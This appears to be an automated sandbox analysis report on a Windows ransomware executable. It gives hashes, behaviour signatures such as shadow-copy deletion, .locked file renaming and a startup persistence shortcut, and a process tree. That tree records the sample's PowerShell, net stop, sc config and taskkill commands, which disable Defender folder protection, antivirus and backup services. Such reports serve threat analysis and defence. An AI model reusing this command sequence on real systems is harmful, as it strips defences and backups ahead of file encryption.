cd0f55dd00111251cd580c7e7cc1d17448faf27e4ef39818d75ce330628c7787

Resubmissions

30-04-2023 13:51

230430-q58pbshh32 10

Analysis

max time kernel
28s
max time network
31s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
30-04-2023 13:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Size

91KB
MD5

be60e389a0108b2871dff12dfbb542ac
SHA1

14b4e0bfac64ec0f837f84ab1780ca7ced8d670d
SHA256

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d
SHA512

6051bec441434a80c34ee2752a3da9c3a0307cd1b551aa27a0f7f6f75b9bf64b172745d80f03eea054a03ebd2c493df21fd48d8fa3b706d46a6f7fee0e7c0641
SSDEEP

1536:QguHLgeS6umiCp31W4qYXgsLlOqrgB9GpF7LXdarTkCAKL5dsluhtvM4CoLT6QPg:D6seqCp31Hgsp9a9GTrda8CAKLTsWkyI

Score

9^/10

ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\SplitRepair.tiff	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\SplitRepair.tiff.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\UpdateCompare.raw.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\WatchRead.png.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File opened for modification	C:\Users\Admin\Pictures\WriteUse.tiff	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\WriteUse.tiff.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\ClearPublish.raw.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
File created	C:\Users\Admin\Pictures\DismountSet.raw.locked	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2388 cmd.exe

pid	process
2388	cmd.exe

Drops startup file 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Enumerates connected drives 3 TTPs 18 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	ioc	process
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\f:	vssadmin.exe
File opened (read-only)	\??\f:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

844 sc.exe
1164 sc.exe
1700 sc.exe
1296 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
844	sc.exe
1164	sc.exe
1700	sc.exe
1296	sc.exe

Interacts with shadow copies 2 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	process
268	vssadmin.exe
328	vssadmin.exe
1508	vssadmin.exe
1624	vssadmin.exe
1296	vssadmin.exe
1248	vssadmin.exe
1712	vssadmin.exe
1776	vssadmin.exe
2004	vssadmin.exe
1096	vssadmin.exe
1972	vssadmin.exe
1756	vssadmin.exe
1036	vssadmin.exe
1704	vssadmin.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

1644 taskkill.exe
1144 taskkill.exe
1948 taskkill.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

2240 notepad.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2276 PING.EXE

pid	process
1644	taskkill.exe
1144	taskkill.exe
1948	taskkill.exe

pid	process
2240	notepad.exe

pid	process
2276	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid	process
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exetaskkill.exetaskkill.exetaskkill.exevssvc.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Token: SeDebugPrivilege	1144	taskkill.exe
Token: SeDebugPrivilege	1644	taskkill.exe
Token: SeDebugPrivilege	1948	taskkill.exe
Token: SeBackupPrivilege	1368	vssvc.exe
Token: SeRestorePrivilege	1368	vssvc.exe
Token: SeAuditPrivilege	1368	vssvc.exe
Token: SeDebugPrivilege	860	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

1156 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

1156 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exesc.execonhost.exenet.exenet.exesc.execonhost.exenet1.exe

description	pid	process	target process
PID 1156 wrote to memory of 860	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1156 wrote to memory of 860	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1156 wrote to memory of 860	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1156 wrote to memory of 860	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1156 wrote to memory of 1912	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1156 wrote to memory of 1912	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1156 wrote to memory of 1912	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1156 wrote to memory of 1912	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1156 wrote to memory of 1164	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	sc.exe
PID 1156 wrote to memory of 1164	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	sc.exe
PID 1156 wrote to memory of 1164	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	sc.exe
PID 1156 wrote to memory of 1164	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	sc.exe
PID 1156 wrote to memory of 788	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1156 wrote to memory of 788	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1156 wrote to memory of 788	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1156 wrote to memory of 788	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1156 wrote to memory of 1700	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	sc.exe
PID 1156 wrote to memory of 1700	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	sc.exe
PID 1156 wrote to memory of 1700	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	sc.exe
PID 1156 wrote to memory of 1700	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	sc.exe
PID 1156 wrote to memory of 1548	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1156 wrote to memory of 1548	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1156 wrote to memory of 1548	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1156 wrote to memory of 1548	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	conhost.exe
PID 1156 wrote to memory of 288	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1156 wrote to memory of 288	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1156 wrote to memory of 288	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1156 wrote to memory of 288	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1164 wrote to memory of 1844	1164	sc.exe	net.exe
PID 1164 wrote to memory of 1844	1164	sc.exe	net.exe
PID 1164 wrote to memory of 1844	1164	sc.exe	net.exe
PID 1164 wrote to memory of 1844	1164	sc.exe	net.exe
PID 1912 wrote to memory of 1332	1912	conhost.exe	net1.exe
PID 1912 wrote to memory of 1332	1912	conhost.exe	net1.exe
PID 1912 wrote to memory of 1332	1912	conhost.exe	net1.exe
PID 1912 wrote to memory of 1332	1912	conhost.exe	net1.exe
PID 788 wrote to memory of 1772	788	net.exe	net.exe
PID 788 wrote to memory of 1772	788	net.exe	net.exe
PID 788 wrote to memory of 1772	788	net.exe	net.exe
PID 788 wrote to memory of 1772	788	net.exe	net.exe
PID 1156 wrote to memory of 1796	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net1.exe
PID 1156 wrote to memory of 1796	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net1.exe
PID 1156 wrote to memory of 1796	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net1.exe
PID 1156 wrote to memory of 1796	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net1.exe
PID 288 wrote to memory of 1092	288	net.exe	net1.exe
PID 288 wrote to memory of 1092	288	net.exe	net1.exe
PID 288 wrote to memory of 1092	288	net.exe	net1.exe
PID 288 wrote to memory of 1092	288	net.exe	net1.exe
PID 1700 wrote to memory of 1368	1700	sc.exe	vssvc.exe
PID 1700 wrote to memory of 1368	1700	sc.exe	vssvc.exe
PID 1700 wrote to memory of 1368	1700	sc.exe	vssvc.exe
PID 1700 wrote to memory of 1368	1700	sc.exe	vssvc.exe
PID 1548 wrote to memory of 620	1548	conhost.exe	net1.exe
PID 1548 wrote to memory of 620	1548	conhost.exe	net1.exe
PID 1548 wrote to memory of 620	1548	conhost.exe	net1.exe
PID 1548 wrote to memory of 620	1548	conhost.exe	net1.exe
PID 1156 wrote to memory of 592	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1156 wrote to memory of 592	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1156 wrote to memory of 592	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1156 wrote to memory of 592	1156	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1796 wrote to memory of 1792	1796	net1.exe	conhost.exe
PID 1796 wrote to memory of 1792	1796	net1.exe	conhost.exe
PID 1796 wrote to memory of 1792	1796	net1.exe	conhost.exe
PID 1796 wrote to memory of 1792	1796	net1.exe	conhost.exe

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
"C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"
1⤵
- Modifies extensions of user files
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1156
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:860
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:1912
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:1332
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:1164
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:1844
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mfewc /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:788
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:1772
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:1700
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:1368
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:288
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:1092
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:1796
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:1792
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:1548
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:620
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:592
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:1860
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:432
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:844
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:1960
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:656
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:1708
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:1860
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:736
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:600
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:996
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:1452
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:1624
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:1964
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:1508
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:2004
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:1248
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:1096
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:540
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:2024
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:1948
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:1648
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:1532
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:1340
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:392
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:1368
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:1952
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:1648
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:836
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:1968
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:1644
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:1812
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:1168
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:1296
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:908
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:1700
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:1036
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:844
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:1688
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:1704
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:1600
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:328
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:1276
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1796
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:1804
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:1728
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:1452
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:1368
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:1844
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:1624
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:2024
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:540
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:656
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:1036
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:1772
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:1492
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:1572
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:1508
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:844
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1144
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  - Suspicious use of WriteProcessMemory
  PID:1164
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1948
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  - Suspicious use of WriteProcessMemory
  PID:1700
